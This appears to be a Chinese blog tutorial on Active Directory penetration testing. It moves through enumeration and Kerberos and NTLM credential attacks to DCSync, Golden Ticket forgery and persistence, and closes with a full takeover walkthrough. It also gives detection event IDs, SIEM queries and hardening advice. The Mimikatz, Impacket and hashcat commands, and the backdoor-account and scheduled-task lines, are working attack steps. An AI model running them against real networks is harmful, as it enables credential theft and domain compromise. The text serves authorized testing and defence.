摘要:本文系统梳理域渗透测试的完整攻击链路,围绕 Active Directory 域环境中的信任关系、Kerberos 与 NTLM 认证机制展开,覆盖信息收集、凭证攻击、提权、横向移动、域控制器接管及持久化等关键环节。文章同步给出检测事件 ID、SIEM 排查思路与防御加固建议,适合安全测试人员、红队工程师及企业蓝队防护人员阅读。通过理论结合授权环境下的实战演练,帮助读者理解攻击路径的形成逻辑,并建立从检测到响应的体系化防护能力。
目录
- 1. 什么是域渗透测试
- 2. 域环境核心概念
- 2.1 Active Directory 与域信任
- 2.2 Kerberos 认证协议
- 2.3 NTLM 认证
- 3. 信息收集与域环境枚举
- 3.1 确认当前主机与域身份
- 3.2 枚举域用户、组和计算机
- 3.3 定位域控制器与网段结构
- 4. 常见凭证攻击手法
- 4.1 Kerberoasting
- 4.2 AS-REP Roasting
- 4.3 Pass the Hash(哈希传递)
- 4.4 Pass the Ticket 与 Overpass the Hash
- 4.5 五种凭证攻击手法对比
- 5. 提权与横向移动
- 5.1 本地提权
- 5.2 横向移动
- 6. 域控制器攻击与持久化
- 6.1 DCSync
- 6.2 Golden Ticket 与 Silver Ticket
- 6.3 持久化
- 7. 检测与防御建议
- 7.1 关键事件 ID 与攻击手法对照
- 7.2 Kerberoasting 检测:事件 ID 4769
- 7.3 DCSync 检测:事件 ID 4662
- 7.4 Golden Ticket 与 Silver Ticket 检测
- 7.5 凭证传递类攻击检测
- 7.6 持久化检测
- 7.7 检测与加固结合建议
- 域渗透常用工具速查表
- 实战演练:从普通域用户到域控制器接管
- 1. 使用 BloodHound 发现提权路径
- 2. 利用 Kerberoasting 获取服务账号哈希
- 3. 通过哈希传递横向移动
- 4. 使用 DCSync 提取 krbtgt 哈希
- 5. 伪造 Golden Ticket
- 8. 总结
1. 什么是域渗透测试
域渗透测试是指以 Windows Active Directory(AD)域环境为目标,模拟攻击者从初始立足点开始,逐步完成信息收集、凭证窃取、权限提升、横向移动,最终控制域控制器的完整安全评估过程。与单机渗透不同,域渗透的核心在于理解域环境中的信任关系、认证协议以及组策略等基础设施,并利用配置缺陷和默认行为扩大攻击面。
一个典型的域渗透测试通常包含以下阶段:初始接入、域环境枚举、凭证获取、权限提升、横向移动、域控制器接管、持久化与痕迹清理。每个阶段都有对应的攻击手法和检测指标,下文将按这条主线展开。
2. 域环境核心概念
在进入具体的攻击手法之前,需要先理解几个关键概念,它们构成了后续所有攻击链路的基础。
2.1 Active Directory 与域信任
Active Directory 是 Windows 网络中的目录服务,负责管理用户、计算机、组和策略。域内的所有对象都存储在域控制器的 NTDS.dit 数据库中,域与域之间可以通过信任关系实现资源的跨域访问。攻击者一旦获得域内高权限账号,往往可以借助信任关系进一步扩展控制范围。
2.2 Kerberos 认证协议
Kerberos 是域环境默认使用的认证协议,其核心流程包括客户端向密钥分发中心(KDC)请求票据授予票据(TGT),再凭 TGT 申请访问特定服务的服务票据(ST)。Kerberos 的票据机制既是域认证的基石,也是大量攻击手法的切入点,例如 Kerberoasting、Golden Ticket 和 Silver Ticket。
2.3 NTLM 认证
NTLM 是 Kerberos 之外的另一套认证机制,广泛存在于旧系统、非域加入设备和部分网络共享访问中。由于 NTLM 使用密码哈希进行挑战应答认证,攻击者一旦拿到哈希,即使无法破解明文,也可以直接用于哈希传递攻击。
3. 信息收集与域环境枚举
获得初始接入后,第一步是摸清当前主机身份、所处网段以及域的基本结构。高效的信息收集能够帮助攻击者找到最有价值的攻击路径。
3.1 确认当前主机与域身份
可以使用以下命令快速判断当前主机是否加入域,以及当前登录用户和操作系统版本等信息。
whoami
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Domain"
net config workstation
echo %USERDOMAIN%
其中 net config workstation 可以显示工作站所属的域,echo %USERDOMAIN% 则直接输出当前登录用户所在的登录域。
3.2 枚举域用户、组和计算机
如果当前账号具备查询域目录的权限,可以通过 Windows 自带的 net 命令或 PowerShell 的 ActiveDirectory 模块枚举域对象,也可以使用 BloodHound 等工具进行关系分析。
net user /domain
net group /domain
net group "Domain Admins" /domain
net group "Domain Controllers" /domain
nltest /dclist:<domain>
BloodHound 是域渗透中常用的路径分析工具,它能够将域内的用户、计算机、组、ACL 和会话关系可视化,帮助测试人员发现隐蔽的提权路径和横向移动目标。先使用采集器收集数据,再导入 Neo4j 进行分析。
3.3 定位域控制器与网段结构
域控制器的 IP 通常是后续攻击的核心目标,可以通过 DNS 查询和端口扫描快速定位。
nslookup <domain>
nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain>
nmap -p 53,88,135,139,389,445,636 <target>
Kerberos 默认使用 88 端口,LDAP 使用 389 端口,SMB 使用 445 端口。识别这些开放端口有助于确认目标主机是否运行域控制器相关服务。
4. 常见凭证攻击手法
域渗透中最常见的目标是获取合法凭证或可用的认证材料。以下是几种典型的手法和适用场景。
4.1 Kerberoasting
Kerberoasting 攻击的对象是运行服务主体名称(SPN)的服务账号。攻击者向 KDC 请求这些服务账号的服务票据,票据使用服务账号的 NTLM 哈希加密,因此可以离线爆破弱口令。
# 使用 PowerShell 请求服务票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql01.domain.local:1433"
获取票据后,可以使用 tgsrepcrack.py 等工具结合字典进行离线破解。防御上应注意服务账号使用强且随机的密码,并定期轮换。
4.2 AS-REP Roasting
对于未启用 Kerberos 预认证的用户账号,攻击者无需提供正确密码即可向其 KDC 请求 AS-REP 响应,该响应中的加密部分使用用户密码哈希派生密钥加密,同样可以离线爆破。
# 使用 Impacket 的 GetNPUsers 枚举无需预认证的账号
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip <dc_ip> -no-pass
防御措施是确保所有用户账号启用 Kerberos 预认证,并重点关注高权限账号。
4.3 Pass the Hash(哈希传递)
哈希传递并不破解密码,而是直接使用 NTLM 哈希完成 NTLM 认证。只要目标账号的哈希未被更改且具备相应权限,攻击者就可以在拥有该哈希的主机上实现横向移动或提权。
# 使用 Impacket 的 psexec 进行哈希传递
psexec.py domain.local/administrator@<target> -hashes :<NTLM_HASH>
缓解哈希传递的关键在于启用 Credential Guard、限制本地管理员账户在各主机上的复用,以及严格执行最小权限原则。
4.4 Pass the Ticket 与 Overpass the Hash
Pass the Ticket 是将已获取的 Kerberos 票据注入当前会话,从而以票据所有者的身份访问资源。Overpass the Hash 则是先用 NTLM 哈希向 KDC 请求合法 TGT,再凭 TGT 参与 Kerberos 认证。二者的差异在于一个是直接使用现有票据,一个是临场生成新的票据。
# 使用 Mimikatz 进行哈希转票据
sekurlsa::pth /user:admin /domain:domain.local /ntlm:<NTLM_HASH>
这类攻击的常见检测思路是监控异常登录事件,例如同一账号短时间内从不同主机登录,或登录过程中出现可疑的认证类型变化。
4.5 五种凭证攻击手法对比
为便于快速区分,下面从攻击目标、所需条件、利用方式、检测要点和防御措施五个维度,对常见凭证攻击手法进行对比。
| 攻击手法 | 攻击目标 | 所需条件 | 利用方式 | 检测要点 | 防御措施 |
|---|---|---|---|---|---|
| Kerberoasting | 配置 SPN 的服务账号 | 普通域用户可向 KDC 请求服务票据 | 请求 SPN 服务票据并导出,离线爆破服务账号密码哈希 | 事件 ID 4769;同账号短时间请求大量 SPN;RC4 加密类型 | 服务账号使用强随机密码并定期轮换,限制 SPN 枚举和请求基线 |
| AS-REP Roasting | 未启用 Kerberos 预认证的用户账号 | 目标账号关闭预认证,攻击者无需提供密码 | 请求 AS-REP 响应,离线爆破加密的用户密码哈希 | 事件 ID 4768、4771;预认证失败异常增多 | 确保所有用户账号启用 Kerberos 预认证 |
| Pass the Hash | 目标账号可访问的主机或服务 | 已获取目标账号的 NTLM 哈希 | 直接使用 NTLM 哈希完成 NTLM 认证,无需破解明文 | 事件 ID 4624、4625;登录类型 3 且认证包为 NTLM 的跨主机异常登录 | 启用 Credential Guard,限制本地管理员账号跨主机复用,执行最小权限 |
| Pass the Ticket | 目标账号可访问的 Kerberos 服务资源 | 已获取合法 Kerberos 票据 | 将已获取的票据注入当前会话,以票据所有者身份访问资源 | 事件 ID 4768、4769;同一账号短时间多主机登录、认证类型或票据属性异常 | 限制票据生存周期,监控异常票据使用,执行最小权限 |
| Overpass the Hash | 域内 Kerberos 认证体系及目标资源 | 已获取目标账号的 NTLM 哈希 | 用 NTLM 哈希向 KDC 请求合法 TGT,再凭 TGT 访问资源 | 事件 ID 4768;哈希认证后出现异常 TGT 请求或认证协议切换 | 启用 Credential Guard,降低哈希暴露面,监控认证协议变化 |
5. 提权与横向移动
获得普通域用户权限后,攻击者的目标是提升到本地管理员甚至域管理员权限,并在内网中向更多主机移动。
5.1 本地提权
本地提权的路径高度依赖目标主机的补丁情况和错误配置,常见方向包括服务权限配置错误、计划任务、AlwaysInstallElevated 策略以及内核漏洞。测试时可以先搜集系统补丁信息,评估是否存在已知提权漏洞。
whoami /priv
wmic qfe list brief
whoami /groups
输出中的 SeImpersonatePrivilege、SeDebugPrivilege 等特权往往意味着存在可利用的提权机会。
5.2 横向移动
横向移动的目标是从当前已经控制的主机进一步获取其他主机权限,常用的技术包括远程服务、计划任务、WMI 和 SMB 共享。
# 使用 WMI 执行远程命令
wmic /node:<target> /user:domain.local\admin process call create "cmd.exe /c whoami > C:\temp\whoami.txt"
在横向移动过程中,DCOM 和 SMB 是高频利用的内网协议。测试人员通常会结合已获取的凭证列表和 BloodHound 分析出的会话关系,选择最短的移动路径。
6. 域控制器攻击与持久化
当攻击者获得足够的权限后,最终目标是控制域控制器并建立长期访问能力。
6.1 DCSync
DCSync 通过模拟域控制器向 DC 发起复制请求,从而提取任意账号的密码哈希,包括 krbtgt 账号。该攻击的核心在于攻击者具备域复制权限,例如属于 Domain Admins 或 Enterprise Admins 组。
# 使用 Mimikatz 执行 DCSync 提取 krbtgt 哈希
lsadump::dcsync /domain:domain.local /user:krbtgt
DCSync 的检测重点在于识别非域控制器发起的目录复制流量,以及异常的高权限账号访问行为。
6.2 Golden Ticket 与 Silver Ticket
Golden Ticket 使用 krbtgt 账号的哈希伪造任意用户的 TGT,实现对整个域的任意资源访问。Silver Ticket 则使用特定服务账号的哈希伪造针对该服务的服务票据,影响范围相对集中。
# 使用 Mimikatz 生成 Golden Ticket 的核心参数示例描述
# 需要 krbtgt 哈希、域 SID 和伪造的用户名
Golden Ticket 的防御非常依赖 krbtgt 密码的定期轮换。需要注意的是,krbtgt 密码在一次轮换后,旧票根仍需经过第二次轮换才会完全失效。
6.3 持久化
持久化的目标是即使当前会话被终止,攻击者仍能重新获得访问权限。常见技术包括创建后门账号、注册计划任务、修改注册表自动启动项,以及滥用组策略对象(GPO)。
net user backdoor Passw0rd! /add
net localgroup administrators backdoor /add
schtasks /create /tn "UpdateTask" /tr "cmd.exe /c powershell -ep bypass" /sc onstart /ru SYSTEM
从防御角度看,应监控新建高权限账号、计划任务修改和 GPO 变更等敏感操作,并与正常的运维变更流程进行对照。
7. 检测与防御建议
了解攻击手法之后,站在防守方视角建立检测和加固体系同样重要。除常规加固外,防守方应将检测要求落到关键 Windows 安全事件 ID 和 SIEM 规则上,形成可告警、可排查的检测闭环。
7.1 关键事件 ID 与攻击手法对照
下表汇总了本文涉及的主要攻击手法与对应的核心检测事件 ID。实际操作时应结合账号基线、加密类型和时间窗口,避免只依赖单条事件进行判断。
| 攻击手法 | 关键事件 ID | 核心检测点 |
|---|---|---|
| Kerberoasting | 4769 | 用户大量请求 SPN 服务票据,且票据加密类型为 RC4 |
| AS-REP Roasting | 4768、4771 | 针对未启用预认证账号反复请求 TGT;预认证失败异常增多 |
| Pass the Hash | 4624、4625 | NTLM 网络登录(登录类型 3)异常,凭证跨主机复用 |
| Pass the Ticket / Overpass the Hash | 4768、4769 | 票据加密类型异常、同一账号短时间多主机登录 |
| DCSync | 4662 | 非域控制器账号对域复制对象发起目录访问操作 |
| Golden Ticket / Silver Ticket | 4768、4769 | krbtgt 票据生存周期异常、加密类型降级、账号或 SID 异常 |
| 后门账号与权限组变更 | 4720、4728、4732、4735、4698 | 非变更窗口新建用户、加入高权限组、创建计划任务 |
7.2 Kerberoasting 检测:事件 ID 4769
检测原理:Kerberoasting 会向 KDC 批量请求服务票据,Windows 安全日志会记录事件 ID 4769(Kerberos 服务票据请求)。攻击者为了离线爆破,通常会选择或迫使票据使用 RC4 加密类型;而正常应用访问不会在同账号下短时间内高频请求大量服务账号 SPN。
排查步骤:
- 在域控制器的安全日志中筛选事件 ID 4769。
- 关注
Ticket Encryption Type字段,重点排查 RC4(0x17)加密类型。 - 按
Account Name和Service Name聚合,找出短时间内请求多个不同 SPN 的非服务账号。 - 与正常业务基线对比,确认是否属于运维脚本或真实应用访问。
- 对命中异常行为的账号启动凭证重置和主机隔离,并回溯同一账号的其他认证事件。
Splunk 查询示例:
index=windows source="Security" EventCode=4769
| stats count by Account_Name, ServiceName, TicketEncryptionType, host
| where TicketEncryptionType="0x17"
| sort - count
Azure Sentinel(KQL)查询示例:
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| project TimeGenerated, Computer, Account, ServiceName, TicketEncryptionType
7.3 DCSync 检测:事件 ID 4662
检测原理:DCSync 从非域控制器向 DC 发起目录复制请求。可在域对象上启用目录服务访问审计(SACL),当执行复制对象操作时记录事件 ID 4662。需要重点识别的访问权限包括复制目录更改、复制目录更改全部,以及复制目录更改在筛选集。只有域控制器之间才应出现此类复制访问,非 DC 账号触发的 4662 需要格外警惕。
排查步骤:
- 先在域控制器上启用「目录服务访问」审计,并为基础域对象配置 SACL。
- 筛选事件 ID 4662,并过滤对象为 DRS 复制相关权限。
- 查看事件中的
Account Name、ComputerName及Access Mask或Properties。 - 排除已知域控制器之间的正常复制流量,源计算机应为 DC 自身或其他域控制器。
- 对非 DC 来源的复制访问立即产生高危告警,并核查账号权限是否被异常授予。
Splunk 查询示例:
index=windows source="Security" EventCode=4662
| search "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" OR "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" OR "89e95b76-444d-4c62-991a-0facbeda640c"
| table _time, Account_Name, ComputerName, ObjectName, AccessMask
Azure Sentinel(KQL)查询示例:
SecurityEvent
| where EventID == 4662
| where Properties has "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
or Properties has "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
| project TimeGenerated, Computer, Account, ObjectName, Properties
7.4 Golden Ticket 与 Silver Ticket 检测
检测原理:Golden Ticket 使用 krbtgt 哈希伪造 TGT,Silver Ticket 使用服务账号哈希伪造服务票据。伪造票据通常造成票据有效期、加密类型与 PAC 信息异常。例如环境已禁用 RC4 时仍出现 RC4 加密的 krbtgt 票据,TGT 生存周期明显超过默认上限,票据中的用户名或 SID 与域内真实对象不符,以及出现没有对应预认证的认证行为。
排查步骤:
- 筛选事件 ID 4768(TGT 请求)与 4769(服务票据请求)。
- 检查
Ticket Encryption Type,关注异常使用 RC4 的 krbtgt 或服务票据。 - 检查 TGT 的时间戳、
Renew Until和账号属性,识别明显大于默认生存周期的情况。 - 查找在域中不存在或已被删除的账号、异常的 SID 或
Workstation字段。 - 当检测到 krbtgt 密码轮换后仍出现旧票据时,应再次轮换 krbtgt 密码并排查域内信任链路。
检测异常 RC4 加密的服务票据(Splunk 示例):
index=windows source="Security" EventCode=4769
| search TicketEncryptionType="0x17"
| stats count by Account_Name, ServiceName, host
| where count > 20
Azure Sentinel(KQL)查询示例:
SecurityEvent
| where EventID in (4768, 4769)
| where TicketEncryptionType in ("0x17", "0x12")
| summarize EventCount = count() by Account, Computer, ServiceName, TicketEncryptionType
| where EventCount > 20
7.5 凭证传递类攻击检测
Pass the Hash、Pass the Ticket、Overpass the Hash 以及 AS-REP Roasting 的共同特征是认证行为与账号基线不符,建议从登录类型、认证协议和票据加密类型三个维度联合检测,而不是只依赖单条事件。
Pass the Hash 检测:关注事件 ID 4624/4625 中登录类型为 3 且认证包为 NTLM 的记录,排查同一账号在多个不同主机间出现的异常登录序列。Splunk 查询示例:
index=windows source="Security" EventCode=4624
| search LogonType=3 AuthenticationPackage=NTLM
| stats count by Account_Name, Source_Workstation, ComputerName
| sort - count
AS-REP Roasting 检测:关注事件 ID 4768 中未启用预认证的账号,以及事件 ID 4771 中反复出现的预认证失败,异常增多的预认证失败往往意味着账号正被枚举或轰炸。Splunk 查询示例:
index=windows source="Security" EventCode=4771
| stats count by Account_Name, Type, host
| where Type=14
| sort - count
Pass the Ticket / Overpass the Hash 检测:关注事件 ID 4768/4769 中票据加密类型突变、同一账号短时间内从多台主机发起认证,以及 Workstation 字段与账号历史行为不一致的情况。可与基线表进行关联比较,对首次出现的主机、加密类型和异常时间窗设置告警。
7.6 持久化检测
域环境常见的持久化手段通常会触发以下敏感事件,可将它们接入 SIEM 并配合变更窗口判断:
- 4720:创建用户账户,重点关注创建后加入高权限组。
- 4728 / 4732 / 4735:用户加入安全启用组、本地安全组或受保护组,重点关注 Domain Admins、Schema Admins、Enterprise Admins。
- 4698:创建计划任务,结合目标主机是否为域控制器或关键业务服务器。
- 5136:修改目录对象,常用于 GPO 篡改或 ACL 修改。
排查步骤:
- 在 SIEM 中筛选上述事件 ID,并将时间与变更管理窗口进行比对。
- 检查新增账号的名称、描述、组归属和登录时间是否异常。
- 检查计划任务对应的命令、执行账户和运行频率是否存在可疑内容。
- 对发生在域控制器或高价值主机上的对象修改进行复核。
7.7 检测与加固结合建议
仅靠单条事件容易产生误报,建议将事件 ID 检测与以下基线防护结合起来使用:
- 凭证管理:服务账号使用长且随机的密码,定期轮换 krbtgt 密码,限制管理员账号在多主机上的复用。
- 权限收敛:严格执行最小权限原则,定期审计 Domain Admins、Enterprise Admins 等高权限组的成员。
- 日志采集:集中采集安全日志,重点关注 Kerberos 认证、目录复制访问、特权登录、计划任务和 GPO 变更事件。
- 补丁管理:及时修复域控制器和成员主机的已知漏洞,降低本地提权风险。
- 主动检测:结合 SIEM 和威胁狩猎,识别异常登录时间、非域控制器的复制请求以及异常的票据使用行为。
防守方只有把事件 ID 检测、账号基线和变更管理三者联动,才能在攻击链路早期阶段捕捉到凭证攻击与域控制器接管的前兆。
域渗透常用工具速查表
进入实战演练前,先按信息收集、凭证攻击、横向移动、域控制器攻击四类整理常用工具,便于后续操作时快速对照。以下命令仅用于已获得授权的安全测试环境。
| 分类 | 工具名称 | 核心用途 | 典型命令示例 | 适用阶段 |
|---|---|---|---|---|
| 信息收集 | SharpHound | 采集域内 ACL、会话、组成员、SPN、信任关系等数据,为 BloodHound 分析提供原始数据 | SharpHound.exe -c All --ZipFileName bloodhound.zip | 信息收集、数据采集 |
| 信息收集 | BloodHound | 可视化分析域关系,查询从当前用户到高价值目标的最短攻击路径 | bloodhound(导入 SharpHound 输出的 zip 后查询路径) | 信息收集、攻击路径分析 |
| 信息收集 | nmap | 识别域控制器和关键服务端口,辅助判断目标主机角色与内网拓扑 | nmap -p 53,88,135,139,389,445,636 <target> | 信息收集、资产与服务发现 |
| 凭证攻击 | Impacket(GetUserSPNs.py / GetNPUsers.py) | 执行 Kerberoasting、AS-REP Roasting,获取并导出可离线爆破的票据或哈希 | GetUserSPNs.py domain.local/user01:Password123 -dc-ip 10.10.10.2 -request | 凭证获取、哈希提取 |
| 凭证攻击 | hashcat | 对 Kerberos 票据哈希或密码哈希进行离线爆破,恢复明文凭证及对应 NTLM 哈希 | hashcat -m 13100 svc_sql.hash rockyou.txt --force | 凭证获取、密码离线破解 |
| 凭证攻击 | Mimikatz | 从内存提取明文密码、NTLM 哈希和 Kerberos 票据,也可将哈希转换为可传递票据 | sekurlsa::pth /user:admin /domain:domain.local /ntlm:<NTLM_HASH> | 凭证获取、哈希与票据利用 |
| 横向移动 | Impacket(psexec.py / wmiexec.py) | 通过 SMB 或 WMI 远程执行命令,结合 NTLM 哈希实现传递登录与横向移动 | psexec.py domain.local/svc_sql@10.10.10.20 -hashes :<NT_HASH> | 横向移动、远程命令执行 |
| 横向移动 | Windows wmic | 利用 WMI 在域内主机间执行远程命令,验证目标主机权限并完成横向移动 | wmic /node:<target> /user:domain.local\admin process call create "cmd.exe /c whoami" | 横向移动、远程执行验证 |
| 域控制器攻击 | Mimikatz(lsadump::dcsync) | 模拟域控制器发起目录复制请求,提取 krbtgt 等高价值账号哈希及域 SID | lsadump::dcsync /domain:domain.local /user:krbtgt | 域控制器攻击、凭据提取 |
| 域控制器攻击 | Mimikatz(kerberos::golden) | 使用 krbtgt 哈希和域 SID 伪造 Golden Ticket 并注入会话,获取对域的任意资源访问能力 | kerberos::golden /user:fakeadmin /domain:domain.local /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /ptt | 域控制器接管、权限持久化 |
实战演练:从普通域用户到域控制器接管
flowchart LR
A[普通域用户 user01] --> B[BloodHound 发现提权路径]
B --> C[Kerberoasting 获取服务账号凭证]
C --> D[哈希传递横向移动]
D --> E[DCSync 提取 krbtgt 哈希]
E --> F[伪造 Golden Ticket]
F --> G[接管域控制器]
上图展示了本节演练的完整攻击链。首先,BloodHound 通过分析 ACL、会话和 SPN 关系,帮助攻击者从普通域用户 user01 定位到存在 Kerberoasting 条件的 svc_sql 服务账号;随后利用 Kerberoasting 离线破解服务账号哈希,为下一阶段提供可用的 NTLM 凭证。拿到 svc_sql 哈希后,攻击者通过哈希传递在具备该账号会话或本地管理员权限的主机上完成横向移动,进一步扩大控制范围。当权限提升到具备域复制能力时,使用 DCSync 从域控制器提取 krbtgt 账号哈希及域 SID。最后,利用 krbtgt 哈希伪造 Golden Ticket 并注入会话,从而实现对域资源的任意访问,完成从普通域用户到域控制器接管的完整闭环。
本节用一个简化攻击链示例,串联前面介绍的关键手法:先借助 BloodHound 梳理攻击路径,再通过 Kerberoasting 获取服务账号凭证,随后利用哈希传递完成横向移动,最终使用 DCSync 提取 krbtgt 哈希并伪造 Golden Ticket。以下流程仅适用于已获得授权的安全测试环境。
1. 使用 BloodHound 发现提权路径
假设攻击者已控制普通域用户 user01 的会话。先使用 SharpHound 收集域内 ACL、会话、组关系和 SPN 等信息。
SharpHound.exe -c All --ZipFileName bloodhound.zip
将 bloodhound.zip 导入 BloodHound 后,可查询从 user01 到高价值目标的路径。一个简化的分析结果可能如下:
user01@domain.local
-> MemberOf: SUPPORT_GROUP
-> GenericAll on SQL01.DOMAIN.LOCAL
-> SQL01 has session: svc_sql
-> svc_sql has SPN: MSSQLSvc/sql01.domain.local:1433
这条路径说明 user01 对 SQL01 拥有 GenericAll 权限,而 SQL01 上存在 svc_sql 账号的登录会话,同时 svc_sql 配置了 SPN,适合发起 Kerberoasting。
2. 利用 Kerberoasting 获取服务账号哈希
向 KDC 请求 svc_sql 的 SPN 服务票据,并将票据导出后离线爆破。
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql01.domain.local:1433"
mimikatz # kerberos::list /export
也可以使用 Impacket 直接请求并输出可爆破的票据:
GetUserSPNs.py domain.local/user01:Password123 -dc-ip 10.10.10.2 -request
预期输出中会包含 svc_sql 的 Kerberos 5 TGS-REP 票据。将其转换为 hashcat 支持的格式后执行离线爆破:
hashcat -m 13100 svc_sql.hash rockyou.txt --force
如果服务账号使用弱密码,可恢复出明文,例如 svc_sql / Summer2026!,同时得到对应的 NTLM 哈希,为后续哈希传递提供凭证。
3. 通过哈希传递横向移动
使用破获的 svc_sql NTLM 哈希,通过 SMB 向存在该账号会话或本地管理员权限的主机横向移动。
psexec.py domain.local/svc_sql@10.10.10.20 -hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
若目标主机允许该账号远程登录,且 svc_sql 具有本地管理员权限,命令会返回一个 SYSTEM 权限的交互式会话:
[*] Requesting shares on 10.10.10.20.....
[*] Found writable share: ADMIN$
[*] Uploading file ...
[+] Established service connection on 10.10.10.20
C:\Windows\system32> whoami
nt authority\system
4. 使用 DCSync 提取 krbtgt 哈希
继续沿 BloodHound 发现的路径扩大权限。假设 svc_sql 可进一步获取域复制权限,则可在高权限上下文中执行 DCSync,从域控制器复制 krbtgt 账号哈希。
lsadump::dcsync /domain:domain.local /user:krbtgt
预期输出示例:
[DC] 'domain.local' will be the domain
[Replica] 'DC01.domain.local' will be replication partner
Object RDN : krbtgt
SAM Account Name : krbtgt
Hash NTLM: 50227c3b2d0a5b0d7e1673d4c3c46c6b
Domain SID: S-1-5-21-1122334455-6677889900-1234567890
5. 伪造 Golden Ticket
拿到 krbtgt 哈希和域 SID 后,伪造一个任意用户的 TGT 并注入当前会话。
kerberos::golden /user:fakeadmin /domain:domain.local /sid:S-1-5-21-1122334455-6677889900-1234567890 /krbtgt:50227c3b2d0a5b0d7e1673d4c3c46c6b /ptt
Mimikatz 输出 Golden Ticket 生成并注入成功的信息。此时再访问域控制器共享,即可验证接管效果:
dir \\DC01.domain.local\C$
至此,攻击者完成从普通域用户到域控制器接管的完整链路。该示例也说明,单一凭证问题或权限配置不当,可能在攻击链中被逐步放大。
8. 总结
域渗透测试的核心不是孤立地利用某个漏洞,而是理解域环境中的信任关系、认证流程和权限传递机制,并沿着攻击链逐步扩大控制范围。从信息收集、凭证攻击到横向移动和域控制器接管,每一步都对应着明确的检测指标和加固措施。对于防守方而言,只有把单点防护升级为覆盖认证、权限、日志和配置的体系化防御,才能有效压缩攻击者的活动空间。
在实际项目中,建议在获得授权的前提下,优先以 BloodHound 等工具梳理域的权限关系,再结合本文提到的手法验证真实风险。安全测试的目的始终是发现并修复问题,而不是破坏业务。
809

被折叠的 条评论
为什么被折叠?



